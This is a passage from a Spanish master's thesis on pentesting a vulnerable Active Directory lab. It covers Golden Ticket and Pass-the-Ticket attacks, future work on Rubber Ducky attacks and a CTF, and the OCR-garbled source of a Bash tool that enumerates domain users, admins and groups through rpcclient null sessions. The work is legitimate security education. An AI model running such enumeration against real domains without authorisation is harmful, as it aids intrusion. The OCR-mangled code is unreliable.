de un ticket TGT, que son capaces de inyectar mediante una técnica denominada Pass-the-
Ticket, y que les permita acceder a todos los equipos y recursos del dominio de Active
Directory. Ademas, les permite ganar persistencia dentro del dominio durante un periodo de
tiempo lo mas grande posible. Es lo que cominmente se conoce como el ataque Golden Ticket.
Este ataque se considera extremadamente peligroso para una organizacidon debido a las
enormes consecuencias negativas que traeria consigo la materializacidn exitosa del mismo, el
cibercriminal podria ser el administrador del dominio, de una forma totalmente silenciosa y
sin levantar apenas sospechas. Podria también realizar acciones malintencionadas como robo
de informacion, o incluso instalacion de malware, entre otras muchas acciones que dependen

del objetivo final del cibercriminal.

Los objetivos de los cibercriminales pueden ser muy variados, desde objetivos econémicos por
robo de informacidn, hasta objetivos de espionaje industriales, pero existe un elemento en
comun en todos los objetivos que es conocer bien a la victima. Un auditor técnico debe
ponerse en la piel de un cibercriminal, tal y como se ha mencionado en numerosas ocasiones
anteriormente, y para ello, también debe conocer como estos cibercriminales estudian vy
analizan a sus victimas. Precisamente la fase de reconocimiento se considera una de las fases
mas importantes (por no decir la mas importante) en una auditoria técnica de pentesting. La
realizacion de un buen reconocimiento marcara un exitoso camino en el desarrollo de la
auditoria. Mediante numerosas herramientas, un auditor (o un cibercriminal) puede realizar
una radiografia de la organizacién y obtener una cantidad enormemente grande de
informacién, que posteriormente, serd dotada de inteligencia para comprender el

funcionamiento de esta, conocer los recursos de los que dispone y analizar sus puntos débiles.

Finalmente, la realizacidon de este proyecto me ha hecho comprender, de un manera mas
profunda y concienzuda, la metodologia que se realiza en auditorias técnicas de pentesting,
ademas de aprender numerosos conocimientos y habilidades en seguridad ofensiva enfocada

a entornos empresariales que, en definitiva, considero que es lo mds importante.
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Las sensaciones al realizar este proyecto han sido muy satisfactorias, ya que se han podido
realizar con éxito todos los ataques planificados y, ademas, se ha contado con el
asesoramiento de un profesional muy reconocido en el sector de la seguridad ofensiva y del

mundo maker, como es Alvaro Nufiez-Romero Casado, director de este mismo proyecto.

5.2. Trabajo futuro

Este proyecto se ha centrado en la realizacion de un pentesting a un entorno de vulnerable
Active Directory, atacando aquellos protocolos de autenticacién mas conocidos y utilizados
actualmente, como son NT LAN Manager (NTLM) y Kerberos, para poder el dominio en su
totalidad. No obstante, este proyecto posee una gran proyeccion a futuro abarcando otras
superficies de ataque, e incluso nuevas tecnologias. Ademas, este proyecto también podria
presentar un enfoque educativo como una posible practica de algunas de las asignaturas del
Madster Universitario en Seguridad Informatica como podrian ser Andlisis de Vulnerabilidades

o Seguridad en Aplicaciones Online y Bases de Datos.

Por consiguiente, se definiran una serie de puntos que reflejan la proyeccion a futuro de este

proyecto:

e Pentesting fisico: La realizacién de un test de intrusién de las maquinas fisicas que
pertenecen a un dominio de Active Directory para comprobar la seguridad fisica es una
idea muy atractiva que, sin duda pondria de manifiesto la falta de conciencia que
existe, en entornos empresariales, sobre lo importante que es la seguridad fisica.
Mediante un dispositivo conocido como Rubber Ducky [62] que tiene la forma de un
dispositivo USB, y que se trata de un teclado programado que se ejecuta tras
conectarlo a un equipo para inyectar, de forma automatica, aquellas instrucciones que
le hayamos definido previamente; podremos llevar a cabo nuevos ataques sobre las
maquinas. Desde robar informacién, hasta agregar usuarios con permisos de
administracion, pasando por realizar pharming de DNS, o incluso la descarga vy
ejecucidn de un binario que ofrezca una reverse shell a un equipo remoto. El objetivo

del ataque lo marcaria el atacante.

117



Alvaro Temporal Palomares
Pentesting de entornos Active Directory vulnerables

Ataques a servicios y aplicaciones de Microsoft: Aparte de los sistemas operativos y
de Active Directory, Microsoft ofrece un gran nimero de servicios y aplicaciones que
es posible atacar, para poner de manifiesto que una mala configuraciéon y gestion es
igual se puede traducir en vulnerabilidades aprovechables por los atacantes. Desde el
servicio SMTP, hasta escritorios remotos, pasando por eliminar algunas restricciones
de aplicaciones como Citrix, lo que es cominmente conocido como Jailbreak.

No hay que olvidar otros dispositivos conectados a la red de area local como
impresoras. Estos dispositivos fueron los primeros dispositivos en formar parte del
“Internet de las cosas”, y en numerosas ocasiones se olvida revisar su seguridad, lo que
se traduce en que los atacantes aprovechen alguna vulnerabilidad para escalar

privilegios.

Herramienta automatizada de creacidn de un entorno vulnerable: La creacién de un
entorno vulnerable de Active Directory puede resultar una tarea tediosa de la que se
requiere conocer en profundidad la tecnologia, asi como mucho tiempo y esfuerzo,
para poder crear vulnerabilidades explotables. Debido a ello, la creacion de una
herramienta automatizada, desarrollada en PowerShell y ejecutada en el controlador
de dominio podria ofrecernos una estupenda alternativa para la creacién de un
entorno vulnerable de Active Directory.

Actualmente existen numerosas herramientas que permiten la creacién de un entorno
vulnerable, sin embargo, esta propuesta va mas alla. Esta herramienta deberia permitir
interactuar con el usuario permitiendo configurar el entorno de tal forma que se creen
vulnerabilidades acordes a lo que el usuario desea y en base a su nivel de
conocimientos y habilidades. Como se puede intuir, debe ser una herramienta que
previamente realice una serie de cuestiones rapidas al usuario, y en base a su

respuesta configurar y modificar el entorno.
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Capture The Flag (CTF) basado en Active Directory: Se trata de realizar un concurso
CTF entre los alumnos de la Escuela Superior de Ingenieria y Tecnologia de la
Universidad Internacional de La Rioja (UNIR). Un concurso que permita la participacion
de los alumnos de ingenieria de la UNIR poner a prueba sus conocimientos vy
habilidades en seguridad ofensiva. El concurso se podria realizar de manera online,
siguiendo la filosofia de la universidad, a través de un gestor centralizado conocido,
como podria ser CTFd [63].

En este concurso, el principal objetivo seria mostrar a los alumnos, de las diferentes
ingenierias, la importancia de la seguridad informatica, asi como introducirlos en
seguridad ofensiva ofrenciendo retos en la modalidad Jeopardy que incrementen su
dificultad a medida que se vaya avanzando en el CTF, ofrenciendo algun tipo de
recompensa para el ganador. Ademas, permitiria, no solo que los alumnos de
ingenieria aprendiesen nuevos conocimientos y habilidades, sino también captar el

talento en seguridad ofensiva.
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Anexo A. Herramienta rpcScan.sh

La herramienta rpcScan.sh esta desarrollada en Bash para realizar un escaner basico
preliminar y poder extraer la siguiente informacién de un dominio de Active Directory,

mediante rpcclient:

® Usuarios del dominio (Nombre de usuario, RID, Nombre completo, Descripcion).

® Usuarios administradores del dominio (Nombre de usuario, RID, Nombre completo,

Descripcion).

® Grupos del dominio (Nombre del grupo, RID, Descripcion).

Funcionamiento de la herramienta

La herramienta solo funciona con permisos de administrador. En el caso de que se ejecute sin

estos permisos, saldra el siguiente mensaje:

[-] This tool needs administration permissions

[*] Exiting

El panel de ayuda de la herramienta se mostrara tan solo mediante su ejecucién, o mediante
el parametro -h. Cabe destacar que esta herramienta necesita credenciales vélidas de algun
usuario del dominio de Active Directory, sin embargo, si no se introducen credenciales, la

herramienta esta disefiada para que realice peticiones haciendo uso del “Null Session”:
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[*] Usage of rpcScan:

[+]
[+]

Help: -h (Show the help panel)

Scan: -s <OPTIONS>

Users (Show the domain's users with their description)
AdminUsers (Show the domain's admins users with their description)

Groups (Show the domain's groups with their description)

Tool for scanning Active Directory users, admin users and groups

Created by alwars

AllScan (Shows all of the above)

Host IP Address:

Username: -u <USERNAME>

Password: -p <PASSWORD>

Empty username and password means null session

Examples:

./rpcScan.sh -s <MODE> -a <IP> -u <USERNAME> -p <PASSWORD>

./rpcScan.sh -s <MODE> -a <IP>
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Para la correcta ejecucién de la herramienta se debe seleccionar el tipo de escaner que se

quiere efectuar:

" E|l escaner UsSers, nos permite mostrar todos los usuarios del dominio de Active

Directory, junto su informacién:

[+] Scanning domain's users ...
User RID Full Name Description
Administrador 0x1f4 Cuenta integrada para la administracién ..
Invitado 0x1f5 Cuenta integrada para el acceso como
krbtgt 0x1f6 Cuenta de servicio de centro de distribuciédn ..
miles.morales 0x452 Miles Morales Becario del departamento de redes
leyre.garcia 0x454 Jefa del departamento de redes
admin.it 0x456 Cuenta de respaldo del administrador de IT
awrs.batchprocess 0x457 BatchProcess Proceso Batch
admin.test 0x459 AdminTest Cuenta de prueba del administrador ..

" Elescaner AdminUsers, nos permite mostrar todos los usuarios administradores del

dominio de Active Directory, junto con su informacion:

[+] Scanning domain's admins users ...

User RID Full Name Description

Administrador 0x1f4 Cuenta integrada para la administracidn ..
admin.it 0x456 Cuenta de respaldo del administrador de IT
admin.test 0x459 AdminTest Cuenta de prueba del administrador ..
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* El escaner Groups, nos permite mostrar todos los grupos del dominio de Active

Directory, junto con su informacién:

[+] Scanning domain's groups
Name RID Description
Enterprise Domain Controllers de sdélo lectura 0x1f2 Los miembros de este grupo ..
Admins. del dominio 0x200 Administradores designados del ..
Usuarios del dominio 0x201 Todos los usuarios del dominio
Invitados del dominio 0x202 Todos los invitados del dominio
Equipos del dominio 0x203 Todas los servidores y estaciones ..
Controladores de dominio 0x204 Todos los controladores de ..
Administradores de esquema 0x206 Administradores designados del ..
Administradores de empresas 0x207 Administradores designados de la ..
Propietarios del creador de directivas de grupo 0x208 Los miembros de este grupo pueden ..
Controladores de dominio de sdbélo lectura 0x209 Los miembros de este grupo son ..
Controladores de dominio clonables 0x20a Se pueden clonar los miembros del ..
Protected Users 0x20d Los miembros de este grupo tienen ..
Administradores clave 0x20e Los miembros de este grupo pueden ..
Administradores clave de la organizacién 0x20f Los miembros de este grupo pueden ..
DnsUpdateProxy Ox44e Clientes DNS que tienen permiso ..

* El escaner ALl1Scan, nos permite realizar todos los escédneres de forma secuencial,
visualizando toda la informacién de los usuarios y grupos del dominio de Active

Directory.
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Codigo fuente de la herramienta

Executable File | Language: Bash | 260 lines | 8.12 KB

#!1/bin/bash

H B R R B R R

Automated tool for viewing user, admin users and groups on Microsoft Active Directory using rpcclient.
Author: Alvaro Temporal Palomares [alwars]

University Master's Degree in Computer Security
International University of La Rioja

# Colours for the console
yellow="\e[38;5;226m"
red="\e[38;5;160m"
green="\e[38;5;120m"
ligth_green="\e[38;5;46m’
orange="'\e[38;5;214m’
cyan="\e[38;5;44m’
end="\e[Om'

# Flow redirection through ctrl-c
trap ctrl_c INT

function ctrl_c(){
echo -e "\n${yellow}[*] Exiting ... ${end}"; sleep 1

exit

}

# Help panel

1

function help(){

echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo

exit o

}

"\n${yellow}[*]${end} Usage of rpcScan:${end} \n"

"\t${cyan}[+]${end} Help: -h ${orange}(Show the help panel)${end}\n"
"\t${cyan}[+]${end} Scan: -s ${orange}<OPTIONS>${end}\n"

"\t\tUsers ${orange}(Show the domain's users with their description)${end}"
"\t\tAdminUsers ${orange}(Show the domain's admins users with their description)${end}"
"\t\tGroups ${orange}(Show the domain's groups with their description)${end}"
"\t\tScanAll ${orange}(Shows all of the above)${end}\n"

"\t${cyan}[+]${end} Host IP Address: -a ${orange}<IP>${end}\n"
"\t${cyan}[+]${end} Username: -u ${orange}<USERNAME>${end}\n"

"\t${cyan}[+]${end} Password: -p ${orange}<PASSWORD>${end}\n"

"\t${cyan}[+]${end} Empty username and password means null session${end}\n"
"\tExamples:\n"

"\t\t${orange}./rpcScan.sh -s <MODE> -a <IP> -u <USERNAME> -p <PASSWORD>${end}\n"
"\t\t${orange}./rpcScan.sh -s <MODE> -a <IP>${end}\n"

# ASCII Banner
function banner(){

echo
echo
echo
echo
echo
echo
echo
echo
echo
echo
echo

echo -e "\t${green} HH| S| H|

“\n"
"\t${cyan} 11111111%${end}"

"\t${cyan} 11111111111111111${end}"
"\t${cyan} 11111111 1111111111111111111${end}"

"\t${cyan}11111111111111 1111111111111111111${end}"
"\t${cyan}11111111111111 1111111111111111111${end}"
"\t${cyan}11111111111111 1111111111111111111${end}"
"\t${cyan}11111111111111 1111111111111111111%${end}"
"\t${cyan}11111111111111 1111111111111111111%${end}"
"\t${cyan}11111111111111 1111111111111111111%${end}"

"\t${red} T ECI—IN0r ${end} ${orange}Tool for scanning Active Directory users, admin
users and groups${end}"

${end} ${orange}Created by alwars${end}"

echo -e "\t${yellow} Rl o L B ${end}"
echo -e "\t${cyan}11111111111111 1111111111111111111${end}"
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66. echo -e "\t${cyan}11111111111111 1111111111111111111%${end}"

67. echo -e "\t${cyan}11111111111111 1111111111111111111%${end}"

68. echo -e "\t${cyan}11111111111111 1111111111111111111%${end}"

69. echo -e "\t${cyan}11111111111111 1111111111111111111%${end}"

70. echo -e "\t${cyan}11111111111111 1111111111111111111%${end}"

71. echo -e "\t${cyan} 11111111 1111111111111111111%${end}"

72. echo -e "\t${cyan} 11111111111111${end}\n\n"

73. }

74.

75. # Function that displays Active Directory groups on the screen

76. function printTableGroups(){

77.

78. echo -e "${orange} Name RID Description${end}"

79. echo -e "${orange} ---- ettt ${end}"

80.

81. for groups in $@; do

82. info=$(rpcclient -U "$user%$pass"” $ip -c "querygroup $groups" | grep -E 'Group Name|Description' | cut -d ':'
-f 2| sed 's/\t//' | tr '\n' '#' | sed 's/.$//")

83. echo -e "${green}$(printf ' %-53s %-12s %-135s\n' "$(echo $info | awk '{print $1}' FS='#')" "$groups"
"$(echo $info | awk '{print $2}' FS='#')")${end}

84. sleep 0.1

85. done; echo -e "\n"

86. }

87.

88. # Function that displays Active Directory users and admin users on the screen

89. function printTableUsers(){

90.

91.

92.

93. echo -e "${orange} User RID Full Name Description${end}"

94. echo -e "${orange} ---- EE e ${end}"

95.

96. for users in $@; do

97. info=$(rpcclient -U "$user%$pass"” $ip -c "queryuser $users" | grep -E 'User Name|Full Name|Description' | cut
-d "' -f 2| sed 's/\t//' | tr '\n' '#' | sed 's/.$//")

98. echo -e "${green}$(printf ' %-16s %-12s %-25s %-71s\n' "$(echo $info | awk '{print $1}' FS='#')" "$users"
"$(echo $info | awk '{print $2}' FS='#')" "$(echo $info | awk '{print $3}' FS='#')")${end}

99. sleep 0.1

100. done; echo -e "\n"

101. }

102.

103. # Function to scan Active Directory users

104. function showUsers(){

105.

106. if [ "$count” == 4 ]; then

107.

108. echo -e "${orange}[+]${end} Scanning domain's users ...\n"; sleep 1;

109. dUsers=$(rpcclient -U "$user%$pass" $ip -c "enumdomusers" | grep -oP '\[.*?\]' | grep 'Ox' | tr -d '[]")

11e.

111.

112. if [ "$dUsers" ]; then

113.

114. printTableUsers $dUsers

115. else

116. echo -e "${yellow}[-] The user or password are wrong ... ${end}\n"; exit 1

117. fi

118.

119. # Scanner using a Null Session

120. elif [ "$count™ == 2 ]; then

121.

122. echo -e "${orange}[+]${end} Scanning domain's users ...\n"; sleep 1;

123. dUsers=$(rpcclient -U "" $ip -c "enumdomusers" -N | grep -oP '\[.*?\]' | grep 'ox' | tr -d '[]")

124.

125. if [ "$($dUsers | wc -m)" == @ ]; then

126. echo -e "${yellow}[-] Access denied${end}\n"; exit 1

127. else

128.

129. printTableUsers $dUsers

130. fi

131. else

132. help

133. fi

134.

135. }

136.

137. # Function to scan Active Directory admin users

138. showAdminUsers(){

139.

140. if [ "$count” == 4 ]; then

141.

142. echo -e "${orange}[+]${end} Scanning domain's admins users ...\n"; sleep 1;

143. idADGroup=$(rpcclient -U "$user%$pass" $ip -c "enumdomgroups" | grep "Admins" | awk '{print $3}' FS=':' | tr
-d '[1Y)
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144. idADUsers=$(rpcclient -U "$user%$pass” $ip -c "querygroupmem $idADGroup" | awk '{print $1}' | grep -oP
N[AT | e -d C[]Y)

145.

146. if [ "$idADUsers" ]1; then

147.

148. printTableUsers $idADUsers

149. else

150. echo -e "${yellow}[-] The user or password are wrong ... ${end}\n"; exit 1

151. fi

152.

153. # Scanner using a Null Session

154. elif [ "$count™ == 2 ]; then

155.

156. echo -e "${orange}[+]${end} Scanning domain's admins users ...\n"; sleep 1;

157. idADGroup=$(rpcclient -U "" $ip -c "enumdomgroups" -N | grep "Admins" | awk '{print $3}' FS=':' | tr -d '[]")

158. idADUsers=$(rpcclient -U "" $ip -c "querygroupmem $idADGroup" -N | awk '{print $1}' | grep -oP '\[.*?\]' | tr
-d '[1Y)

159.

160. if [ "$($idADUsers | wc -m)" == @ ]; then

161. echo -e "${yellow}[-] Access denied${end}\n"; exit 1

162.

163. else

164.

165. printTableUsers $idADUsers

166. fi

167. else

168. help

169. fi

170.

171. }

172.

173. # Function to scan Active Directory groups

174. function showGroups(){

175.

176. if [ "$count" == 4 ]; then

177.

178. echo -e "${orange}[+]${end} Scanning domain's groups ...\n"; sleep 1;

179. idADGroups=$(rpcclient -U "$user%$pass” $ip -c "enumdomgroups” | awk '{print $3}' FS=':' | tr -d '[]")

180.

181. if [ "$idADGroups" ]; then

182.

183. printTableGroups $idADGroups

184. else

185. echo -e "${yellow}[-] The user or password are wrong ... ${end}\n"; exit 1

186. fi

187.

188. # Scanner using a Null Session

189. elif [ "$count" == 2 ]; then

190.

191. echo -e "${orange}[+]${end}Scanning domain's groups ...\n"; sleep 1;

192. idADGroups=$(rpcclient -U "" $ip -c "enumdomgroups" -N | awk '{print $3}' FS=':' | tr -d '[]")

193.

194. if [ "$($idADGroups | wc -m)" == @ ]; then

195. echo -e "${yellow}[-] Access denied${end}\n"; exit 1

196. else

197.

198. printTableGroups $idADGroups

199. fi

200. else

201. help

202. fi

203. }

204.

205. # Function that starts all functions

206. function showAll(){

207.

208. showUsers $1

209. showAdminUsers $1

210. showGroups $1

211.

212. }

213.

214. # Function indicating the actions to be performed

215. function Scanner(){

216. nmap -p 139 --open -n $ip | grep open > /dev/null

217.

218. if [ "$?" == 0 ]; then

219. case $scan in

220. Users) showUsers $1;;

221.

222. AdminUsers) showAdminUsers $1;;

223.

224. Groups) showGroups $1;;
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251.
252.
253.
254.
255.
256.
257.
258.
259.
260.

ScanAll) showAll $1;;
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esac
else
echo -e "${yellow}[-] Port 139 appears to be closed${end}\n"
exit @
fi
}
# Main function
if [ "$(id -u)" == @ ]; then
banner

declare -i count=0
while getopts ":h:s:a:u:p:" arg; do
case $arg in
h) help;;
s) scan=$0PTARG; let count+=1;;
a) ip=$0OPTARG; let count+=1;;
u) user=$0PTARG; let count+=1
p) pass=$0PTARG; let count+=1
*) help;;
esac
done

3
3

if [ $count -1t 2 ]; then

help
else
Scanner $count
fi
else
echo -e "\n${orange}[-] This tool needs administration
echo -e "\n${yellow}[*] Exiting ... ${end}"; sleep 1
exit 1

fi

permissions${end}"
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